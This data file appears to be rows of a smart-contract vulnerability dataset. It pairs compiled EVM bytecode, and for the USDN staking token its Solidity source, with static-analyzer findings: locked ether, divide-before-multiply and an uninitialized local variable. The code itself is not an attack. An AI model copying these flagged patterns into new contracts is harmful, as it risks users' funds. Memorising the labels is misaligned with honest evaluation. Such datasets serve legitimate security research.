5460328211158015610ef35750818111155b8015610f00575060008114155b8015610f0d575060008214155b1515610f1857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110fd5760016000858152602001908152602001600020600060038381548110151561105e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110dd576001820191505b6004548214156110f057600192506110fe565b808060010191505061102d565b5b5050919050565b600080600090505b6003805490508110156111ca5760016000848152602001908152602001600020600060038381548110151561113e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111bd576001820191505b808060010191505061110d565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a85780601f1061127d576101008083540402835291602001916112a8565b820191906000526020600020905b81548152906001019060200180831161128b57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561134957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112ff575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561138a5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611436578580156113cd575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061140057508480156113ff575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114295780838381518110151561141457fe5b90602001906020020181815250506001820191505b8080600101915050611396565b8787036040519080825280602002602001820160405280156114675781602001602082028038833980820191505090505b5093508790505b868110156114b957828181518110151561148457fe5b906020019060200201518489830381518110151561149e57fe5b9060200190602002018181525050808060010191505061146e565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114fe5781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561164b5760016000868152602001908152602001600020600060038381548110151561153b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163e576003818154811015156115c257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fb57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061150a565b8160405190808252806020026020018201604052801561167a5781602001602082028038833980820191505090505b509350600090505b818110156116f957828181518110151561169857fe5b9060200190602002015184828151811015156116b057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611682565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174157600080fd5b60038054905081603282111580156117595750818111155b8015611766575060008114155b8015611773575060008214155b151561177e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199785611cdd565b5050505050565b60006119ab848484611f85565b90506119b6816117c1565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a5d57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ab757600080fd5b600092505b600380549050831015611ba0578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611aef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b935783600384815481101515611b4657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ba0565b8280600101935050611abc565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d3857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da357600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611dd357600080fd5b611ddc86611020565b15611f7d57600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611efa8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ef05780601f10611ec557610100808354040283529160200191611ef0565b820191906000526020600020905b815481529060010190602001808311611ed357829003601f168201915b50505050506120d7565b15611f3157857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f7c565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fae57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061206d92919061212a565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156121255781836000526020600020918201910161212491906121aa565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061216b57805160ff1916838001178555612199565b82800160010185558215612199579182015b8281111561219857825182559160200191906001019061217d565b5b5090506121a691906121aa565b5090565b6121cc91905b808211156121c85760008160009055506001016121b0565b5090565b905600a165627a7a723058205b8a21c4511c2162905dc1a4174edca9ef6f074a67bdf063b4452dba82c727620029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,798
0x8cf4c659ceeb4bc96ebc8c2077b3f0fcfa9d58fd
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.8; interface Staking { function deposit(address account, uint256 amount) external returns (bool); function withdraw(address account) external returns (bool); function stake(uint256 reward) external returns (bool); event Reward(uint256 reward); event Debug(uint256 value, string message); } interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address private _owner; address private _admin; constructor () public { _owner = msg.sender; _admin = msg.sender; } modifier onlyOwner() { require(_owner == msg.sender || _admin == msg.sender, "Ownable: caller is not the owner or admin"); _; } function transferOwnership(address newOwner) external virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _owner = newOwner; } } abstract contract Deprecateble is Ownable { bool internal deprecated; modifier onlyNotDeprecated() { require(!deprecated, "Deprecateble: contract is deprecated"); _; } function deprecate() external onlyOwner { deprecated = true; emit Deprecate(msg.sender); } event Deprecate(address indexed account); } abstract contract StandartToken is Staking, ERC20, Ownable, Deprecateble { uint256[] private percents; uint256 private _liquidTotalSupply; uint256 private _liquidDeposit; uint256 constant private PERCENT_FACTOR = 10 ** 12; mapping(address => uint256) private _balances; mapping(address => uint256) private _deposits; mapping(address => uint256) private _rewardIndexForAccount; mapping(address => mapping(address => uint256)) private _allowances; constructor () public { percents.push(PERCENT_FACTOR); } function deposit(address account, uint256 amount) external onlyOwner onlyNotDeprecated override virtual returns (bool) { require(amount > 0, "amount should be > 0"); require(account != address(0), "deposit to the zero address"); uint256 liquidDeposit = _liquidDeposit; require(liquidDeposit + amount >= liquidDeposit, "addition overflow for deposit"); _liquidDeposit = liquidDeposit + amount; uint256 oldDeposit = _deposits[account]; uint256 rewardIndex = _rewardIndexForAccount[account]; if (oldDeposit == 0) { uint256 balance = balanceOf(account); _balances[account] = balance; _deposits[account] = amount; _rewardIndexForAccount[account] = percents.length - 1; } else { if (rewardIndex == percents.length - 1) { require(oldDeposit + amount >= oldDeposit, "addition overflow for deposit"); _deposits[account] = oldDeposit + amount; } else { uint256 balance = balanceOf(account); _balances[account] = balance; _deposits[account] = amount; _rewardIndexForAccount[account] = percents.length - 1; } } emit Transfer(address(0), account, amount); return true; } function stake(uint256 reward) external onlyOwner onlyNotDeprecated override virtual returns (bool) { require(reward > 0, "reward should be > 0"); uint256 liquidTotalSupply = _liquidTotalSupply; uint256 liquidDeposit = _liquidDeposit; if (liquidTotalSupply == 0) { percents.push(PERCENT_FACTOR); } else { uint256 oldPercent = percents[percents.length - 1]; uint256 percent = reward * PERCENT_FACTOR; emit Debug(liquidTotalSupply, "reward totalSupply"); require(percent / PERCENT_FACTOR == reward, "multiplication overflow for percent init"); percent /= liquidTotalSupply; require(percent + PERCENT_FACTOR >= percent, "addition overflow for percent"); uint256 newPercent = percent + PERCENT_FACTOR; require(newPercent * oldPercent / oldPercent == newPercent, "multiplication overflow for percent"); percents.push(newPercent * oldPercent / PERCENT_FACTOR); emit Debug(newPercent * oldPercent / PERCENT_FACTOR, "reward new percent"); require(liquidTotalSupply + reward >= liquidTotalSupply, "addition overflow for total supply + reward"); liquidTotalSupply = liquidTotalSupply + reward; } require(liquidTotalSupply + liquidDeposit >= liquidTotalSupply, "addition overflow for total supply"); _liquidTotalSupply = liquidTotalSupply + liquidDeposit; _liquidDeposit = 0; emit Reward(reward); return true; } function withdraw(address account) external onlyOwner onlyNotDeprecated override virtual returns (bool) { uint256 oldDeposit = _deposits[account]; uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == percents.length - 1) { uint256 balance = _balances[account]; require(balance <= _liquidTotalSupply, "subtraction overflow for total supply"); _liquidTotalSupply = _liquidTotalSupply - balance; require(oldDeposit <= _liquidDeposit, "subtraction overflow for liquid deposit"); _liquidDeposit = _liquidDeposit - oldDeposit; require(balance + oldDeposit >= balance, "addition overflow for total balance + oldDeposit"); emit Transfer(account, address(0), balance + oldDeposit); } else { uint256 balance = balanceOf(account); uint256 liquidTotalSupply = _liquidTotalSupply; require(balance <= liquidTotalSupply, "subtraction overflow for total supply"); _liquidTotalSupply = liquidTotalSupply - balance; emit Transfer(account, address(0), balance); } _balances[account] = 0; _deposits[account] = 0; return true; } // ERC20 function totalSupply() external view override virtual returns (uint256) { uint256 liquidTotalSupply = _liquidTotalSupply; uint256 liquidDeposit = _liquidDeposit; require(liquidTotalSupply + liquidDeposit >= liquidTotalSupply, "addition overflow for total supply"); return liquidTotalSupply + liquidDeposit; } function balanceOf(address account) public view override virtual returns (uint256) { uint256 balance = _balances[account]; uint256 oldDeposit = _deposits[account]; if (balance == 0 && oldDeposit == 0) { return 0; } uint256 rewardIndex = _rewardIndexForAccount[account]; if (rewardIndex == percents.length - 1) { require(balance + oldDeposit >= balance, "addition overflow for balance"); return balance + oldDeposit; } if (oldDeposit == 0) { uint256 profit = percents[percents.length - 1]; return profit * balance / percents[rewardIndex]; } else { uint256 profit = percents[rewardIndex + 1]; balance = profit * balance / percents[rewardIndex]; require(balance + oldDeposit >= balance, "addition overflow for balance"); balance = balance + oldDeposit; uint256 newProfit = percents[percents.length - 1]; return newProfit * balance / percents[rewardIndex + 1]; } } function allowance(address owner, address spender) external view override virtual returns (uint256) { return _allowances[owner][spender]; } function _approve(address owner, address spender, uint256 amount) internal onlyNotDeprecated virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) external override virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external override virtual returns (bool) { uint256 temp = _allowances[msg.sender][spender]; require(temp + addedValue >= temp, "addition overflow"); _approve(msg.sender, spender, temp + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external override virtual returns (bool) { uint256 temp = _allowances[msg.sender][spender]; require(subtractedValue <= temp, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, temp - subtractedValue); return true; } function transfer(address recipient, uint256 amount) external override virtual returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override virtual returns (bool) { _transfer(sender, recipient, amount); uint256 temp = _allowances[sender][msg.sender]; require(amount <= temp, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, temp - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal onlyNotDeprecated virtual { require(amount > 0, "amount should be > 0"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 oldDeposit = _deposits[sender]; uint256 rewardIndex = _rewardIndexForAccount[sender]; uint256 depositDiff; if (oldDeposit == 0 || rewardIndex != percents.length - 1) { uint256 senderBalance = balanceOf(sender); require(amount <= senderBalance, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _deposits[sender] = 0; _rewardIndexForAccount[sender] = percents.length - 1; } else { if (amount <= oldDeposit) { _deposits[sender] = oldDeposit - amount; depositDiff = amount; } else { uint256 senderBalance = _balances[sender]; require(amount - oldDeposit <= senderBalance, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - (amount - oldDeposit); _deposits[sender] = 0; depositDiff = oldDeposit; } } oldDeposit = _deposits[recipient]; rewardIndex = _rewardIndexForAccount[recipient]; if (oldDeposit == 0 || rewardIndex != percents.length - 1) { uint256 recipientBalance = balanceOf(recipient); require((amount - depositDiff) + recipientBalance >= recipientBalance, "ERC20: addition overflow for recipient balance"); _balances[recipient] = recipientBalance + (amount - depositDiff); _rewardIndexForAccount[recipient] = percents.length - 1; _deposits[recipient] = depositDiff; } else { uint256 recipientBalance = _balances[recipient]; _balances[recipient] = recipientBalance + (amount - depositDiff); _deposits[recipient] = oldDeposit + depositDiff; } emit Transfer(sender, recipient, amount); } } contract USDN is StandartToken { function name() external pure returns (string memory) { return "Neutrino USD"; } function symbol() external pure returns (string memory) { return "USDN"; } function decimals() external pure returns (uint8) { return 18; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806351cff8d911610097578063a694fc3a11610066578063a694fc3a14610312578063a9059cbb1461032f578063dd62ed3e1461035b578063f2fde38b1461038957610100565b806351cff8d91461029257806370a08231146102b857806395d89b41146102de578063a457c2d7146102e657610100565b806323b872dd116100d357806323b872dd146101e6578063313ce5671461021c578063395093511461023a57806347e7ef241461026657610100565b806306fdde0314610105578063095ea7b3146101825780630fcc0c28146101c257806318160ddd146101cc575b600080fd5b61010d6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b0381351690602001356103d5565b604080519115158252519081900360200190f35b6101ca6103eb565b005b6101d4610489565b60408051918252519081900360200190f35b6101ae600480360360608110156101fc57600080fd5b506001600160a01b038135811691602081013590911690604001356104da565b610224610562565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561025057600080fd5b506001600160a01b038135169060200135610567565b6101ae6004803603604081101561027c57600080fd5b506001600160a01b0381351690602001356105ed565b6101ae600480360360208110156102a857600080fd5b50356001600160a01b031661091e565b6101d4600480360360208110156102ce57600080fd5b50356001600160a01b0316610bd9565b61010d610dea565b6101ae600480360360408110156102fc57600080fd5b506001600160a01b038135169060200135610e08565b6101ae6004803603602081101561032857600080fd5b5035610e78565b6101ae6004803603604081101561034557600080fd5b506001600160a01b0381351690602001356112ab565b6101d46004803603604081101561037157600080fd5b506001600160a01b03813581169160200135166112b8565b6101ca6004803603602081101561039f57600080fd5b50356001600160a01b03166112e3565b60408051808201909152600c81526b13995d5d1c9a5b9bc81554d160a21b602082015290565b60006103e23384846113a8565b50600192915050565b6000546001600160a01b031633148061040e57506001546001600160a01b031633145b6104495760405162461bcd60e51b8152600401808060200182810382526029815260200180611a2b6029913960400191505060405180910390fd5b6001805460ff60a01b1916600160a01b17905560405133907fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e90600090a2565b600354600454600091908082018211156104d45760405162461bcd60e51b8152600401808060200182810382526022815260200180611aa16022913960400191505060405180910390fd5b01905090565b60006104e78484846114dd565b6001600160a01b03841660009081526008602090815260408083203384529091529020548083111561054a5760405162461bcd60e51b8152600401808060200182810382526028815260200180611a546028913960400191505060405180910390fd5b61055785338584036113a8565b506001949350505050565b601290565b3360009081526008602090815260408083206001600160a01b03861684529091528120548281018111156105d6576040805162461bcd60e51b81526020600482015260116024820152706164646974696f6e206f766572666c6f7760781b604482015290519081900360640190fd5b6105e333858584016113a8565b5060019392505050565b600080546001600160a01b031633148061061157506001546001600160a01b031633145b61064c5760405162461bcd60e51b8152600401808060200182810382526029815260200180611a2b6029913960400191505060405180910390fd5b600154600160a01b900460ff16156106955760405162461bcd60e51b8152600401808060200182810382526024815260200180611b786024913960400191505060405180910390fd5b600082116106e1576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b03831661073c576040805162461bcd60e51b815260206004820152601b60248201527f6465706f73697420746f20746865207a65726f20616464726573730000000000604482015290519081900360640190fd5b600454828101811115610796576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f72206465706f736974000000604482015290519081900360640190fd5b8083016004556001600160a01b038416600090815260066020908152604080832054600790925290912054816108135760006107d187610bd9565b6001600160a01b0388166000908152600560209081526040808320939093556006815282822089905560025460079091529190206000199091019055506108e3565b6002546000190181141561089a57818583011015610878576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f72206465706f736974000000604482015290519081900360640190fd5b6001600160a01b038616600090815260066020526040902082860190556108e3565b60006108a587610bd9565b6001600160a01b0388166000908152600560209081526040808320939093556006815282822089905560025460079091529190206000199091019055505b6040805186815290516001600160a01b03881691600091600080516020611aea8339815191529181900360200190a350600195945050505050565b600080546001600160a01b031633148061094257506001546001600160a01b031633145b61097d5760405162461bcd60e51b8152600401808060200182810382526029815260200180611a2b6029913960400191505060405180910390fd5b600154600160a01b900460ff16156109c65760405162461bcd60e51b8152600401808060200182810382526024815260200180611b786024913960400191505060405180910390fd5b6001600160a01b03821660009081526006602090815260408083205460079092529091205460025460001901811415610b20576001600160a01b038416600090815260056020526040902054600354811115610a535760405162461bcd60e51b8152600401808060200182810382526025815260200180611a7c6025913960400191505060405180910390fd5b600380548290039055600454831115610a9d5760405162461bcd60e51b8152600401808060200182810382526027815260200180611ac36027913960400191505060405180910390fd5b8260045403600481905550808382011015610ae95760405162461bcd60e51b81526004018080602001828103825260308152602001806118e96030913960400191505060405180910390fd5b60408051828501815290516000916001600160a01b03881691600080516020611aea8339815191529181900360200190a350610ba8565b6000610b2b85610bd9565b60035490915080821115610b705760405162461bcd60e51b8152600401808060200182810382526025815260200180611a7c6025913960400191505060405180910390fd5b8181036003556040805183815290516000916001600160a01b03891691600080516020611aea8339815191529181900360200190a350505b5050506001600160a01b0381166000908152600560209081526040808320839055600690915281205560015b919050565b6001600160a01b038116600090815260056020908152604080832054600690925282205481158015610c09575080155b15610c1957600092505050610bd4565b6001600160a01b03841660009081526007602052604090205460025460001901811415610ca057828284011015610c97576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722062616c616e6365000000604482015290519081900360640190fd5b50019050610bd4565b81610cf65760028054600091906000198101908110610cbb57fe5b9060005260206000200154905060028281548110610cd557fe5b906000526020600020015484820281610cea57fe5b04945050505050610bd4565b600060028260010181548110610d0857fe5b9060005260206000200154905060028281548110610d2257fe5b906000526020600020015484820281610d3757fe5b049350838385011015610d91576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722062616c616e6365000000604482015290519081900360640190fd5b6002805494840194600091906000198101908110610dab57fe5b9060005260206000200154905060028360010181548110610dc857fe5b906000526020600020015485820281610ddd57fe5b0495505050505050610bd4565b6040805180820190915260048152632aa9a22760e11b602082015290565b3360009081526008602090815260408083206001600160a01b038616845290915281205480831115610e6b5760405162461bcd60e51b8152600401808060200182810382526025815260200180611b536025913960400191505060405180910390fd5b6105e333858584036113a8565b600080546001600160a01b0316331480610e9c57506001546001600160a01b031633145b610ed75760405162461bcd60e51b8152600401808060200182810382526029815260200180611a2b6029913960400191505060405180910390fd5b600154600160a01b900460ff1615610f205760405162461bcd60e51b8152600401808060200182810382526024815260200180611b786024913960400191505060405180910390fd5b60008211610f6c576040805162461bcd60e51b815260206004820152601460248201527307265776172642073686f756c64206265203e20360641b604482015290519081900360640190fd5b60035460045481610fb7576002805460018101825560009190915264e8d4a510007f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace90910155611222565b60028054600091906000198101908110610fcd57fe5b60009182526020918290200154604080518681529283018190526012838201527172657761726420746f74616c537570706c7960701b60608401525190925064e8d4a510008702917f19e7d5cd55166a3cb3a8655c5144e76d5e5764d7e3aad3c0c6cc42cf3bda6d3e919081900360800190a18564e8d4a510008204146110855760405162461bcd60e51b81526004018080602001828103825260288152602001806119d86028913960400191505060405180910390fd5b83818161108e57fe5b0490508064e8d4a51000820110156110ed576040805162461bcd60e51b815260206004820152601d60248201527f6164646974696f6e206f766572666c6f7720666f722070657263656e74000000604482015290519081900360640190fd5b64e8d4a51000810180838082028161110157fe5b041461113e5760405162461bcd60e51b81526004018080602001828103825260238152602001806119616023913960400191505060405180910390fd5b6002805460018101825560009190915264e8d4a51000828502047f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace9091018190556040805191825260208201819052601282820152711c995dd85c99081b995dc81c195c98d95b9d60721b6060830152517f19e7d5cd55166a3cb3a8655c5144e76d5e5764d7e3aad3c0c6cc42cf3bda6d3e9181900360800190a184878601101561121a5760405162461bcd60e51b815260040180806020018281038252602b815260200180611a00602b913960400191505060405180910390fd5b505050908301905b8181830110156112635760405162461bcd60e51b8152600401808060200182810382526022815260200180611aa16022913960400191505060405180910390fd5b81810160035560006004556040805185815290517f3ac0594a85a20354f9dc74f33728416d19ce00d04a406c108cc2dcf2cecea1349181900360200190a15060019392505050565b60006103e23384846114dd565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b031633148061130657506001546001600160a01b031633145b6113415760405162461bcd60e51b8152600401808060200182810382526029815260200180611a2b6029913960400191505060405180910390fd5b6001600160a01b0381166113865760405162461bcd60e51b81526004018080602001828103825260268152602001806119196026913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600154600160a01b900460ff16156113f15760405162461bcd60e51b8152600401808060200182810382526024815260200180611b786024913960400191505060405180910390fd5b6001600160a01b0383166114365760405162461bcd60e51b8152600401808060200182810382526024815260200180611b2f6024913960400191505060405180910390fd5b6001600160a01b03821661147b5760405162461bcd60e51b815260040180806020018281038252602281526020018061193f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600154600160a01b900460ff16156115265760405162461bcd60e51b8152600401808060200182810382526024815260200180611b786024913960400191505060405180910390fd5b60008111611572576040805162461bcd60e51b81526020600482015260146024820152730616d6f756e742073686f756c64206265203e20360641b604482015290519081900360640190fd5b6001600160a01b0383166115b75760405162461bcd60e51b8152600401808060200182810382526025815260200180611b0a6025913960400191505060405180910390fd5b6001600160a01b0382166115fc5760405162461bcd60e51b81526004018080602001828103825260238152602001806118c66023913960400191505060405180910390fd5b6001600160a01b038316600090815260066020908152604080832054600790925282205490918215806116355750600254600019018214155b156116ca57600061164587610bd9565b9050808511156116865760405162461bcd60e51b81526004018080602001828103825260268152602001806119846026913960400191505060405180910390fd5b6001600160a01b038716600090815260056020908152604080832093889003909355600681528282208290556002546007909152919020600019909101905561177e565b8284116116f557506001600160a01b038516600090815260066020526040902083830390558261177e565b6001600160a01b03861660009081526005602052604090205483850381101561174f5760405162461bcd60e51b81526004018080602001828103825260268152602001806119846026913960400191505060405180910390fd5b6001600160a01b0387166000908152600560209081526040808320878903909403909355600690529081205550815b6001600160a01b03851660009081526006602090815260408083205460079092529091205490935091508215806117bb5750600254600019018214155b156118545760006117cb86610bd9565b905080818387030110156118105760405162461bcd60e51b815260040180806020018281038252602e8152602001806119aa602e913960400191505060405180910390fd5b6001600160a01b0386166000908152600560209081526040808320858903949094019093556002546007825283832060001990910190556006905220819055611884565b6001600160a01b038516600090815260056020908152604080832080548589030190556006909152902083820190555b846001600160a01b0316866001600160a01b0316600080516020611aea833981519152866040518082815260200191505060405180910390a350505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573736164646974696f6e206f766572666c6f7720666f7220746f74616c2062616c616e6365202b206f6c644465706f7369744f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573736d756c7469706c69636174696f6e206f766572666c6f7720666f722070657263656e7445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a206164646974696f6e206f766572666c6f7720666f7220726563697069656e742062616c616e63656d756c7469706c69636174696f6e206f766572666c6f7720666f722070657263656e7420696e69746164646974696f6e206f766572666c6f7720666f7220746f74616c20737570706c79202b207265776172644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572206f722061646d696e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63657375627472616374696f6e206f766572666c6f7720666f7220746f74616c20737570706c796164646974696f6e206f766572666c6f7720666f7220746f74616c20737570706c797375627472616374696f6e206f766572666c6f7720666f72206c6971756964206465706f736974ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f446570726563617465626c653a20636f6e74726163742069732064657072656361746564a2646970667358221220a8f007450ee95c1e852f827f71ae946a9559850921112ce2d59cd89361ecb7ac64736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
2,799